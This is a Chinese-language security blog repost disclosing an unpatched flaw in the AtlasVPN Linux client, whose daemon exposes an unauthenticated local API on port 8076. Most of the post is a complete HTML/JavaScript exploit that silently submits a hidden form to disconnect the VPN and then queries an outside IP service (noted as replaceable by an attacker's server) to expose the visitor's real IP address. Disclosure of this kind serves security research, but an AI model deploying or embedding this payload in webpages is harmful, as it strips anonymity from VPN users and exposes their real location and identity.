AtlasVPN Linux 客户端真实IP泄露漏洞

admin 2024年7月5日06:56:10评论5 views字数 2143阅读7分8秒阅读模式

来自:https://seclists.org/fulldisclosure/2023/Sep/0 ,还是一个未被官方修复和回应的0day漏洞。

AtlasVPN Linux 客户端真实IP泄露漏洞

此漏洞的利用是通过在任意网站上部署执行exp代码后,使用AtlasVPN Linux 客户端的用户访问后会断开连接并泄露用户真实IP地址。类似一个后门类的漏洞。 
漏洞成因 
AtlasVPN Linux客户端由两部分组成。管理连接和客户端的守护程序(atlasvpnd、atlasvpn),由用户控制连接、断开连接和列出服务。客户端未通过本地连接socket或任何其他安全方式,但它在本地主机上的端口8076上打开一个API。它没有任何身份验证。计算机上运行的任何程序(包括浏览器)都可以访问此端口。因此,任何网站上的javascript都可以向该端口发送请求并断开VPN。如果它运行另一个请求,这会使用用户的真实IP泄露给任何网站
EXP如下:
 <html>
     <head>
      <title>=[ atlasvpnd 1.0.3 remote disconnect exploit ]=</title>
    </head>
     <body>
      <pre><code id="log">=[ atlasvpnd 1.0.3 remote disconnect exploit ]=
     You should be running the atlasvpn linux client and be connected to a VPN.
    Use <b>atlasvpn connect</b> to connect to a VPN server.
     </code></pre>
       <iframe id="hiddenFrame" name="hiddenFrame" style="display: none;"></iframe>
      <form id="stopForm" action="http://127.0.0.1:8076/connection/stop"; method="post" target="hiddenFrame">
        <button type="submit" style="display: none"></button>
      </form>
       <script>
        window._currentIP = false;
         // Run main exploit code
        window.addEventListener('load', function () {
          addIPToLog();
          setTimeout(triggerFormSubmission, 1000);
          setTimeout(addIPToLog, 3000);
        });
         // Blind CORS request to atlasvpnd to disconnect the VPN
        function triggerFormSubmission() {
          var logDiv = document.getElementById('log');
          logDiv.innerHTML += "[-] Sending disconnect request to atlasvpnd...\n";
          document.getElementById('stopForm').submit();
        }
         // Gets IP from ipfy API (this, of course, could be your server)
        function addIPToLog() {
          var logDiv = document.getElementById('log');
          var xhr = new XMLHttpRequest();
           xhr.open('GET', 'https://api.ipify.org?format=json&apos;, true);
           xhr.onload = function () {
            var ipAddress = window._currentIP;
            if (xhr.status === 200) {
              var response = JSON.parse(xhr.responseText);
              ipAddress = response.ip;
               logDiv.innerHTML += '[?] Current IP:' + ipAddress + "\n";
            } else {
              logDiv.innerHTML += '[-] Error fetching IP address.\n';
            }
             // Check if the IP changed. If yes: Success.
            if (window._currentIP && window._currentIP != ipAddress) {
              logDiv.innerHTML += "[+] Successfully disconnected VPN."
            }
            if (window._currentIP && window._currentIP == ipAddress) {
              logDiv.innerHTML += "[-] Disconnect failed our you were not connected to the VPN in the first place."
            }
             // Save IP for next iteration.
            window._currentIP = ipAddress;
          };
           xhr.send();
        }
      </script>
    </body>
    </html>

 

 

原文始发于微信公众号(军机故阁):AtlasVPN Linux 客户端真实IP泄露漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日06:56:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AtlasVPN Linux 客户端真实IP泄露漏洞http://cn-sec.com/archives/2009037.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息